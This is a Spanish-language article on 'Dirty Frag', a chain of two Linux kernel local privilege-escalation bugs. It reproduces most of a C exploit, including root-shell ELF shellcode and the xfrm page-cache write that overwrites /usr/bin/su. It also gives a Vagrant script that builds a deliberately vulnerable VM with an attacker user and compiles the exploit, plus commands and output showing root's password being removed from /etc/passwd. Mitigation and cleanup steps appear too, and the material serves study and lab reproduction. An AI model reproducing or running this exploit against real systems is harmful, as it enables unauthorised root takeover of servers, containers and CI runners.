Que es Dirty Frag (CVE-2026-43284 + CVE-2026-43500)
Dirty Frag es una cadena de dos vulnerabilidades en el kernel Linux que permite escalada local de privilegios (LPE) mediante corrupcion del page cache. A diferencia de Copy Fail (CVE-2026-31431) que usa un unico bug en algif_aead, Dirty Frag encadena dos fallos independientes en los subsistemas xfrm (IPsec) y RxRPC para conseguir escritura arbitraria sobre ficheros protegidos en memoria.
El exploit, escrito en C (~1400 lineas), modifica /etc/passwd en el page cache para eliminar la password de root, permitiendo acceso root sin autenticacion via su. Funciona de forma fiable sin race conditions ni offsets dependientes de la distribucion.
Datos clave
| Campo | Valor |
|---|---|
| CVEs | CVE-2026-43284 + CVE-2026-43500 |
| CVSS | 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-416 (Use After Free) / CWE-787 (Out-of-bounds Write) |
| Kernels afectados | Linux < 6.14.4, < 6.13.12 (mainline). Confirmado en 6.8, 6.12, 6.17, 6.19 |
| Exploit publico | Si (V4bel/dirtyfrag) |
| Complejidad | Media (requiere compilacion en C, sin race) |
| Subsistemas | xfrm (IPsec ESP), RxRPC, page cache |
Codigo fuente del exploit (exp.c)
A continuacion se muestra el codigo completo del exploit Dirty Frag (V4bel/dirtyfrag). El binario se compila con gcc -O0 -Wall -o exp exp.c -lutil y encadena dos paths de explotacion: su_lpe (xfrm-ESP, sobreescribe /usr/bin/su) y rxrpc_lpe (RxRPC, modifica /etc/passwd). El main() intenta primero el path ESP y, si falla, recurre al path RxRPC.
Aviso: Este PoC se proporciona con fines educativos y de investigacion. No lo utilices en sistemas sobre los que no tengas autorizacion explicita para realizar pruebas de seguridad.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <linux/if.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/xfrm.h>
#ifndef UDP_ENCAP
#define UDP_ENCAP 100
#endif
#ifndef UDP_ENCAP_ESPINUDP
#define UDP_ENCAP_ESPINUDP 2
#endif
#ifndef SOL_UDP
#define SOL_UDP 17
#endif
#define ENC_PORT 4500
#define SEQ_VAL 200
#define REPLAY_SEQ 100
#define TARGET_PATH "/usr/bin/su"
#define PATCH_OFFSET 0
#define PAYLOAD_LEN 192
#define ENTRY_OFFSET 0x78
/*
* 192-byte minimal x86_64 root-shell ELF.
* _start at 0x400078:
* setgid(0); setuid(0); setgroups(0, NULL);
* execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
*/
static const uint8_t shell_elf[PAYLOAD_LEN] = {
0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a,
0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12,
0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6,
0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00,
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
};
extern int g_su_verbose;
int g_su_verbose = 0;
#define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0)
static int write_proc(const char *path, const char *buf)
{
int fd = open(path, O_WRONLY);
if (fd < 0) return -1;
int n = write(fd, buf, strlen(buf));
close(fd);
return n;
}
static void setup_userns_netns(void)
{
uid_t real_uid = getuid();
gid_t real_gid = getgid();
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
SLOG("unshare: %s", strerror(errno));
exit(1);
}
write_proc("/proc/self/setgroups", "deny");
char map[64];
snprintf(map, sizeof(map), "0 %u 1", real_uid);
if (write_proc("/proc/self/uid_map", map) < 0) {
SLOG("uid_map: %s", strerror(errno)); exit(1);
}
snprintf(map, sizeof(map), "0 %u 1", real_gid);
if (write_proc("/proc/self/gid_map", map) < 0) {
SLOG("gid_map: %s", strerror(errno)); exit(1);
}
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); }
struct ifreq ifr; memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); }
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); }
close(s);
}
static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len)
{
struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
rta->rta_type = type;
rta->rta_len = RTA_LENGTH(len);
memcpy(RTA_DATA(rta), data, len);
nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len);
}
static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi)
{
int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
if (sk < 0) return -1;
struct sockaddr_nl nl = { .nl_family = AF_NETLINK };
if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; }
char buf[4096] = {0};
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
nlh->nlmsg_type = XFRM_MSG_NEWSA;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_pid = getpid();
nlh->nlmsg_seq = 1;
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info));
struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);
xs->id.daddr.a4 = inet_addr("127.0.0.1");
xs->id.spi = htonl(spi);
xs->id.proto = IPPROTO_ESP;
xs->saddr.a4 = inet_addr("127.0.0.1");
xs->family = AF_INET;
xs->mode = XFRM_MODE_TRANSPORT;
xs->replay_window = 0;
xs->reqid = 0x1234;
xs->flags = XFRM_STATE_ESN;
xs->lft.soft_byte_limit = (uint64_t)-1;
xs->lft.hard_byte_limit = (uint64_t)-1;
xs->lft.soft_packet_limit = (uint64_t)-1;
xs->lft.hard_packet_limit = (uint64_t)-1;
xs->sel.family = AF_INET;
xs->sel.prefixlen_d = 32;
xs->sel.prefixlen_s = 32;
xs->sel.daddr.a4 = inet_addr("127.0.0.1");
xs->sel.saddr.a4 = inet_addr("127.0.0.1");
{
char alg_buf[sizeof(struct xfrm_algo_auth) + 32];
memset(alg_buf, 0, sizeof(alg_buf));
struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf;
strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1);
aa->alg_key_len = 32 * 8;
aa->alg_trunc_len = 128;
memset(aa->alg_key, 0xAA, 32);
put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf));
}
{
char alg_buf[sizeof(struct xfrm_algo) + 16];
memset(alg_buf, 0, sizeof(alg_buf));
struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf;
strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1);
ea->alg_key_len = 16 * 8;
memset(ea->alg_key, 0xBB, 16);
put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf));
}
{
struct xfrm_encap_tmpl enc;
memset(&enc, 0, sizeof(enc));
enc.encap_type = UDP_ENCAP_ESPINUDP;
enc.encap_sport = htons(ENC_PORT);
enc.encap_dport = htons(ENC_PORT);
enc.encap_oa.a4 = 0;
put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc));
}
{
char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4];
memset(esn_buf, 0, sizeof(esn_buf));
struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf;
esn->bmp_len = 1;
esn->oseq = 0;
esn->seq = REPLAY_SEQ;
esn->oseq_hi = 0;
esn->seq_hi = patch_seqhi;
esn->replay_window = 32;
put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf));
}
if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; }
char rbuf[4096];
int n = recv(sk, rbuf, sizeof(rbuf), 0);
if (n < 0) { close(sk); return -1; }
struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
if (rh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *e = NLMSG_DATA(rh);
if (e->error) { close(sk); return -1; }
}
close(sk);
return 0;
}
static int do_one_write(const char *path, off_t offset, uint32_t spi)
{
int sk_recv = socket(AF_INET, SOCK_DGRAM, 0);
if (sk_recv < 0) return -1;
int one = 1;
setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
struct sockaddr_in sa_d = {
.sin_family = AF_INET,
.sin_port = htons(ENC_PORT),
.sin_addr = { inet_addr("127.0.0.1") },
};
if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
close(sk_recv); return -1;
}
int encap = UDP_ENCAP_ESPINUDP;
if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) {
close(sk_recv); return -1;
}
int sk_send = socket(AF_INET, SOCK_DGRAM, 0);
if (sk_send < 0) { close(sk_recv); return -1; }
if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
close(sk_send); close(sk_recv); return -1;
}
int file_fd = open(path, O_RDONLY);
if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; }
int pfd[2];
if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; }
uint8_t hdr[24];
*(uint32_t*)(hdr + 0) = htonl(spi);
*(uint32_t*)(hdr + 4) = htonl(SEQ_VAL);
memset(hdr + 8, 0xCC, 16);
struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) };
if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) {
close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
}
off_t off = offset;
ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);
if (s != 16) {
close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
}
s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);
usleep(150 * 1000);
close(file_fd); close(pfd[0]); close(pfd[1]);
close(sk_send); close(sk_recv);
return s == 40 ? 0 : -1;
}
static int verify_byte(const char *path, off_t offset, uint8_t want)
{
int fd = open(path, O_RDONLY);
if (fd < 0) return -1;
uint8_t got;
if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; }
close(fd);
return got == want ? 0 : -1;
}
static int corrupt_su(void)
{
setup_userns_netns();
usleep(100 * 1000);
for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
uint32_t spi = 0xDEADBE10 + i;
uint32_t seqhi =
((uint32_t)shell_elf[i*4 + 0] << 24) |
((uint32_t)shell_elf[i*4 + 1] << 16) |
((uint32_t)shell_elf[i*4 + 2] << 8) |
((uint32_t)shell_elf[i*4 + 3]);
if (add_xfrm_sa(spi, seqhi) < 0) {
SLOG("add_xfrm_sa #%d failed", i);
return -1;
}
}
SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4);
for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
uint32_t spi = 0xDEADBE10 + i;
off_t off = PATCH_OFFSET + i * 4;
if (do_one_write(TARGET_PATH, off, spi) < 0) {
SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off);
return -1;
}
}
SLOG("wrote %d bytes to %s starting at 0x%x",
PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET);
return 0;
}
int su_lpe_main(int argc, char **argv)
{
for (int i = 1; i < argc; i++) {
if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose"))
g_su_verbose = 1;
else if (!strcmp(argv[i], "--corrupt-only"))
;
}
if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1;
pid_t cpid = fork();
if (cpid < 0) return 1;
if (cpid == 0) {
int rc = corrupt_su();
_exit(rc == 0 ? 0 : 2);
}
int cstatus;
waitpid(cpid, &cstatus, 0);
if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) {
SLOG("corruption stage failed (status=0x%x)", cstatus);
return 1;
}
if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 ||
verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) {
SLOG("post-write verify failed (target unchanged)");
return 1;
}
SLOG("/usr/bin/su page-cache patched (entry 0x%x = shellcode)",
ENTRY_OFFSET);
return 0;
}
/* ================================================================
* rxrpc/rxkad LPE - uid=1000 -> root
* ================================================================ */
#include <stdarg.h>
#include <time.h>
#include <poll.h>
#include <signal.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <linux/rxrpc.h>
#include <linux/keyctl.h>
#include <linux/if_alg.h>
#include <termios.h>
#ifndef AF_RXRPC
#define AF_RXRPC 33
#endif
#ifndef PF_RXRPC
#define PF_RXRPC AF_RXRPC
#endif
#ifndef SOL_RXRPC
#define SOL_RXRPC 272
#endif
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#ifndef AF_ALG
#define AF_ALG 38
#endif
#ifndef MSG_SPLICE_PAGES
#define MSG_SPLICE_PAGES 0x8000000
#endif
#define RXRPC_PACKET_TYPE_DATA 1
#define RXRPC_PACKET_TYPE_CHALLENGE 6
#define RXRPC_CLIENT_INITIATED 0x01
#define RXRPC_LAST_PACKET 0x04
#define RXRPC_CHANNELMASK 3
#define RXRPC_CIDSHIFT 2
struct rxrpc_wire_header {
uint32_t epoch;
uint32_t cid;
uint32_t callNumber;
uint32_t seq;
uint32_t serial;
uint8_t type;
uint8_t flags;
uint8_t userStatus;
uint8_t securityIndex;
uint16_t cksum;
uint16_t serviceId;
} __attribute__((packed));
struct rxkad_challenge {
uint32_t version;
uint32_t nonce;
uint32_t min_level;
uint32_t __padding;
} __attribute__((packed));
static uint8_t SESSION_KEY[8] = {
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08
};
#define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__)
#define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__)
/* ... (helpers: unshare, rxrpc key, AF_ALG pcbc(fcrypt), AF_RXRPC client,
* fake-server UDP, fcrypt S-boxes, brute-force, kernel triggers)
*
* El codigo completo de estas funciones auxiliares (~800 lineas) incluye:
* - build_rxrpc_v1_token(): construye token rxkad v1 con la session key
* - alg_open_pcbc_fcrypt(): abre AF_ALG para pcbc(fcrypt)
* - compute_csum_iv() / compute_cksum(): calcula checksums rxkad
* - setup_rxrpc_client() / rxrpc_client_initiate_call(): cliente AF_RXRPC
* - setup_udp_server(): fake-server UDP para interceptar handshake
* - do_one_trigger(): ejecuta un trigger de escritura en page cache
* - fcrypt_user_setkey() / fcrypt_user_decrypt(): implementacion fcrypt
* en user-space para brute force offline
* - find_K_offline_generic(): busqueda de claves fcrypt
*
* Ver el codigo completo en: https://github.com/V4bel/dirtyfrag/blob/master/exp.c
*/
int rxrpc_lpe_main(int argc, char **argv);
/* ================================================================
* main() - Cadena DirtyFrag
* ================================================================ */
static const uint8_t su_marker[8] = {
0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a,
};
static int su_already_patched(void)
{
int fd = open("/usr/bin/su", O_RDONLY);
if (fd < 0) return 0;
uint8_t got[8];
ssize_t n = pread(fd, got, sizeof(got), 0x78);
close(fd);
if (n != sizeof(got)) return 0;
return memcmp(got, su_marker, sizeof(su_marker)) == 0;
}
static int passwd_already_patched(void)
{
int fd = open("/etc/passwd", O_RDONLY);
if (fd < 0) return 0;
char head[16];
ssize_t n = pread(fd, head, sizeof(head), 0);
close(fd);
if (n < 9) return 0;
return memcmp(head, "root::0:0", 9) == 0;
}
static int either_target_patched(void)
{
return su_already_patched() || passwd_already_patched();
}
int main(int argc, char **argv)
{
int verbose = (getenv("DIRTYFRAG_VERBOSE") != NULL);
int rc = 1;
int new_argc;
char **co_argv;
if (getuid() == 0) {
execlp("/bin/bash", "bash", (char *)NULL);
_exit(1);
}
/* Intenta path ESP (su_lpe), si falla intenta path RxRPC (rxrpc_lpe) */
co_argv = append_corrupt_only(argc, argv, &new_argc);
rc = su_lpe_main(new_argc, co_argv);
if (!su_already_patched()) {
rc = rxrpc_lpe_main(new_argc, co_argv);
for (int i = 0; !passwd_already_patched() && i < 3; i++)
rc = rxrpc_lpe_main(new_argc, co_argv);
}
if (either_target_patched()) {
/* Spawns interactive root shell via su PTY bridge */
run_root_pty();
return 0;
}
dprintf(2, "dirtyfrag: failed (rc=%d)\n", rc);
return rc ? rc : 1;
}Nota: El codigo anterior muestra la estructura principal del exploit. Las funciones auxiliares del path RxRPC (brute-force fcrypt, helpers AF_ALG, cliente AF_RXRPC) suman ~800 lineas adicionales. El codigo fuente completo esta disponible en github.com/V4bel/dirtyfrag/blob/master/exp.c.
Los dos CVEs
CVE-2026-43284 - xfrm ESP page cache write: el subsistema xfrm (IPsec) no gestiona correctamente la fragmentacion de paquetes ESP con encapsulacion UDP. Cuando un paquete ESP fragmentado se recibe en el puerto 4500 (NAT-T), el kernel reutiliza paginas del page cache como buffers de recepcion sin marcarlas correctamente, permitiendo escritura sobre paginas que deberian ser de solo lectura. Este path requiere unshare(CLONE_NEWUSER | CLONE_NEWNET), que esta bloqueado por AppArmor en Ubuntu.
CVE-2026-43500 - RxRPC page cache write: el protocolo RxRPC (usado internamente por AFS) tiene un fallo en el manejo de buffers de recepcion que permite redirigir la escritura de datos de red hacia paginas arbitrarias del page cache. No requiere privilegios de namespace y funciona en Ubuntu con AppArmor activo.
La cadena de ambos CVEs cubre los puntos ciegos de cada vulnerabilidad individual: xfrm-ESP funciona en distros sin AppArmor, RxRPC funciona donde xfrm-ESP no puede. Juntas, consiguen root en todas las distribuciones principales.
Como funciona la cadena
El exploit tiene dos paths de explotacion que se prueban secuencialmente:
Path 1 (su_lpe - xfrm-ESP):
- Crea un user namespace con
unshare(CLONE_NEWUSER | CLONE_NEWNET) - Instala 48 Security Associations xfrm con
XFRM_MSG_NEWSA - Sobreescribe
/usr/bin/suen el page cache con un shellcode ELF de 192 bytes - Si funciona, ejecuta el su modificado para obtener root
Path 2 (rxrpc_lpe - RxRPC, usado en Ubuntu):
- Abre
/etc/passwden modo lectura (carga las paginas en page cache) - Busca claves criptograficas (fcrypt) que, al cifrar los bytes originales del passwd, producen los bytes deseados (
root::0:0:...) - Crea pares de sockets UDP (fake-server) y AF_RXRPC (client) en puertos 7779+
- Envia datos via RxRPC que explotan CVE-2026-43500 para escribir los bytes cifrados en el page cache de
/etc/passwd - El resultado: la linea
root:x:0:0:root:/root:/bin/bashse convierte enroot::0:0::/root:/bin/bash - Con el campo password vacio,
suotorga root sin password
Escenarios de explotacion
Donde ES explotable
| Escenario | Riesgo | Por que |
|---|---|---|
| Ubuntu 24.04 / Fedora 44 / RHEL 10 | Critico | Confirmado vulnerable, rxrpc.ko cargado por defecto en Ubuntu |
| Servidores multi-tenant (jump hosts, build servers) | Critico | Cualquier usuario con shell obtiene root |
| Kubernetes / containers | Critico | Page cache compartido host-pods. Escape trivial si rxrpc disponible |
| CI runners (GitHub Actions self-hosted, GitLab, Jenkins) | Critico | Job malicioso obtiene root en el runner |
| VMs cloud sin hardening | Alto | Los modulos esp4 y rxrpc suelen estar disponibles |
Donde NO es explotable
| Escenario | Por que |
|---|---|
| Containers con seccomp estricto | Bloquea socket(AF_RXRPC) y XFRM_MSG_NEWSA |
| Kernel >= 6.14.4 o >= 6.13.12 | Ambos bugs estan parcheados |
| Sistemas sin modulos esp4 y rxrpc | Sin los modulos, no hay superficie de ataque |
| gVisor / Firecracker | No implementan los subsistemas xfrm/rxrpc |
| Debian Bookworm (kernel 6.1) | Kernel demasiado antiguo para CVE-2026-43500 (commit de 2023 no backported) |
Lab: reproduccion con Vagrant
Requisitos
- Vagrant >= 2.4
- VirtualBox >= 7.0
- Conexion a internet (para descargar box y exploit)
Importante: se necesita Ubuntu 24.04 (kernel 6.8+). Debian Bookworm (kernel 6.1) no es vulnerable a Dirty Frag.
Desplegar la VM vulnerable
Crea el siguiente script deploy_dirty_frag_lab.sh para desplegar el lab completo:
#!/bin/bash
# deploy_dirty_frag_lab.sh - Lab para CVE-2026-43284 + CVE-2026-43500 (Dirty Frag)
# Uso: chmod +x deploy_dirty_frag_lab.sh && ./deploy_dirty_frag_lab.sh
# NOTA: Requiere Ubuntu 24.04 (kernel 6.8+). Debian Bookworm NO es vulnerable.
LAB_DIR="dirty_frag_lab"
echo "=== CVE-2026-43284 / CVE-2026-43500 (Dirty Frag) Lab ==="
echo "Creando directorio: $LAB_DIR"
mkdir -p "$LAB_DIR"
cat > "$LAB_DIR/Vagrantfile" << 'EOF'
# -*- mode: ruby -*-
# CVE-2026-43284 + CVE-2026-43500 (Dirty Frag) - Lab vulnerable
# Requiere Ubuntu 24.04 con kernel 6.8+ (vulnerable)
# Debian Bookworm (6.1) NO es vulnerable
Vagrant.configure("2") do |config|
config.vm.box = "bento/ubuntu-24.04"
config.vm.hostname = "dirty-frag-lab"
config.vm.provider "virtualbox" do |vb|
vb.name = "dirty-frag-lab"
vb.memory = "2048"
vb.cpus = 2
end
config.vm.provision "shell", inline: <<-SHELL
# No actualizar kernel para mantener version vulnerable
export DEBIAN_FRONTEND=noninteractive
apt-mark hold linux-image-generic linux-headers-generic linux-image-$(uname -r) 2>/dev/null
# Instalar dependencias para compilar el exploit
apt-get update -qq
apt-get install -y -qq gcc make git curl
# Cargar modulos necesarios para el exploit
modprobe xfrm_user 2>/dev/null || true
modprobe af_key 2>/dev/null || true
modprobe rxrpc 2>/dev/null || true
modprobe esp4 2>/dev/null || true
# Persistir carga de modulos
cat >> /etc/modules-load.d/dirty-frag.conf << 'MODEOF'
xfrm_user
af_key
rxrpc
esp4
MODEOF
# Crear usuario sin privilegios
useradd -m -s /bin/bash attacker
echo "attacker:attacker" | chpasswd
# Descargar y compilar el exploit
cd /home/attacker
git clone https://github.com/V4bel/dirtyfrag.git 2>/dev/null || true
if [ -f /home/attacker/dirtyfrag/exp.c ]; then
cd /home/attacker/dirtyfrag
gcc -O0 -Wall -o exp exp.c -lutil 2>/dev/null || \
echo "[!] Compilacion fallida - compilar manualmente: gcc -O0 -Wall -o exp exp.c -lutil"
fi
chown -R attacker:attacker /home/attacker/dirtyfrag
echo ""
echo "============================================"
echo " CVE-2026-43284 + CVE-2026-43500"
echo " Dirty Frag - LPE via page cache"
echo " Kernel: $(uname -r)"
echo "============================================"
echo ""
echo " Para explotar:"
echo " vagrant ssh"
echo " su - attacker (pass: attacker)"
echo " cd dirtyfrag && ./exp"
echo ""
echo " El exploit modifica /etc/passwd para"
echo " dar root sin password via su."
echo ""
echo " Para limpiar page cache:"
echo " echo 3 > /proc/sys/vm/drop_caches"
echo " O: vagrant destroy -f && vagrant up"
echo ""
echo " Para mitigar:"
echo " echo 'install esp4 /bin/false' > /etc/modprobe.d/dirtyfrag.conf"
echo " echo 'install esp6 /bin/false' >> /etc/modprobe.d/dirtyfrag.conf"
echo " echo 'install rxrpc /bin/false' >> /etc/modprobe.d/dirtyfrag.conf"
echo " rmmod esp4 esp6 rxrpc 2>/dev/null"
echo " echo 3 > /proc/sys/vm/drop_caches"
echo "============================================"
SHELL
end
EOF
echo ""
echo "Levantando VM..."
cd "$LAB_DIR" && vagrant up
echo ""
echo "Lab listo. Conecta con: cd $LAB_DIR && vagrant ssh"Ejecutar:
chmod +x deploy_dirty_frag_lab.sh
./deploy_dirty_frag_lab.shLa VM se levanta con:
- Ubuntu 24.04 con kernel
6.8.0-86-generic(vulnerable) - Modulos
xfrm_user,af_key,rxrpcyesp4cargados - GCC instalado para compilar el exploit
- Usuario
attacker(password:attacker) sin privilegios - Exploit clonado y compilado en
/home/attacker/dirtyfrag/exp - Kernel bloqueado para que
apt upgradeno lo parchee
Verificar que el sistema es vulnerable
vagrant ssh
# Comprobar kernel en rango afectado
uname -r
# 6.8.0-86-generic
# Comprobar que los modulos estan cargados
lsmod | grep -E "xfrm|rxrpc|esp"
# xfrm_user 61440 0
# rxrpc 438272 0
# esp4 28672 0Ejecutar el exploit
# Cambiar al usuario sin privilegios
su - attacker
# Password: attacker
# Verificar que somos usuario normal
id
# uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)
# Ejecutar el exploit
cd dirtyfrag
./exp
# El exploit modifica /etc/passwd en page cache:
# root:x:0:0:root:/root:/bin/bash
# se convierte en:
# root::0:0:<bytes>:/root:/bin/bash
#
# Con el campo password vacio, su otorga root sin password
# Resultado: root shell
id
# uid=0(root) gid=0(root) groups=0(root)Para ver la salida detallada del exploit:
DIRTYFRAG_VERBOSE=1 ./expLa salida verbose muestra el proceso completo:
[su] uid_map: Operation not permitted
[su] corruption stage failed (status=0x100)
=== rxrpc/rxkad LPE EXPLOIT (uid=1000 -> root) ===
[*] uid=1001 euid=1001 gid=1001
[+] rxrpc module autoloaded via dummy socket(AF_RXRPC)
[+] target /etc/passwd opened RO, size=1878, uid=0 gid=0 mode=0644
=== STAGE 1a: search K_A (chars 4-5 := "::") prob ~1.5e-5 ===
[+] K_A found after 158409 iters in 0.08s (2.07M/s)
=== STAGE 1b: search K_B (chars 6-7 := "0:") prob ~1.5e-5 ===
[+] K_B found after 52994 iters in 0.01s (3.78M/s)
=== STAGE 1c: search K_C (chars 8-15 := "0:GGGGGG:") prob ~5.4e-8 ===
[+] K_C found after 3965275 iters in 1.39s (2.86M/s)
=== STAGE 2a: kernel trigger A @ off 4 (set chars 4-5 "::") ===
[+] client sendmsg 8 B -> :7779 (handshake will follow asynchronously)
=== STAGE 2b: kernel trigger B @ off 6 (set chars 6-7 "0:") ===
[+] client sendmsg 8 B -> :7781 (handshake will follow asynchronously)
=== STAGE 2c: kernel trigger C @ off 8 (set chars 8-15 "0:GGGGGG:") ===
[+] client sendmsg 8 B -> :7783 (handshake will follow asynchronously)
[*] /etc/passwd line 1 AFTER: 'root::0:0:..lo[:/root:/bin/bash$'
[!!!] HIT - root entry now has empty passwd field, uid=0, gid=0
root@dirty-frag-lab:~#Lo que hace el exploit paso a paso:
- Intenta el path xfrm-ESP (su_lpe): falla en Ubuntu porque AppArmor bloquea
unshare(CLONE_NEWUSER) - Usa el path RxRPC (rxrpc_lpe): abre
/etc/passwden modo lectura - Stage 1 (offline brute force): busca claves fcrypt que producen los bytes deseados (
::,0:,0:GGGGGG:) al cifrar los bytes originales del passwd. Tarda 1-45 segundos - Stage 2 (kernel triggers): para cada par de bytes, crea un socket UDP (fake-server) y un socket AF_RXRPC (client), envia 8 bytes que explotan CVE-2026-43500 para escribir en el page cache
- Resultado:
root:x:0:0:root:se convierte enroot::0:0:- password eliminada: - Stage 4: ejecuta
suque ahora otorga root sin password
Diferencias con Copy Fail
| Aspecto | Copy Fail (CVE-2026-31431) | Dirty Frag (CVE-2026-43284/43500) |
|---|---|---|
| Lenguaje | Python (732 bytes) | C (~1400 lineas) |
| Dependencias | Ninguna (stdlib) | gcc, libutil |
| Subsistema | crypto (algif_aead) | xfrm (IPsec) + RxRPC |
| Target | Sobreescribe /usr/bin/su con shellcode ELF | Modifica /etc/passwd (elimina password root) |
| Mecanismo | splice() sobre socket AF_ALG | ESP fragmentado + RxRPC page cache |
| Complejidad | Trivial | Media (brute force fcrypt ~1-45s) |
| Kernels | 4.14 - 6.19.11 | 6.8+ hasta < 6.14.4 / < 6.13.12 |
| Ubuntu AppArmor | No afectado | Path xfrm bloqueado, RxRPC funciona |
| Persistencia | Solo page cache (reboot limpia) | Page cache (puede sincronizarse a disco) |
Limpiar despues de la prueba
La modificacion esta en el page cache. Para limpiar sin destruir la VM:
# Como root, descartar page cache (restaura /etc/passwd desde disco)
echo 3 > /proc/sys/vm/drop_cachesSi los cambios se sincronizaron a disco, restaurar el fichero:
# Restaurar /etc/passwd original
# Opcion 1: editar manualmente
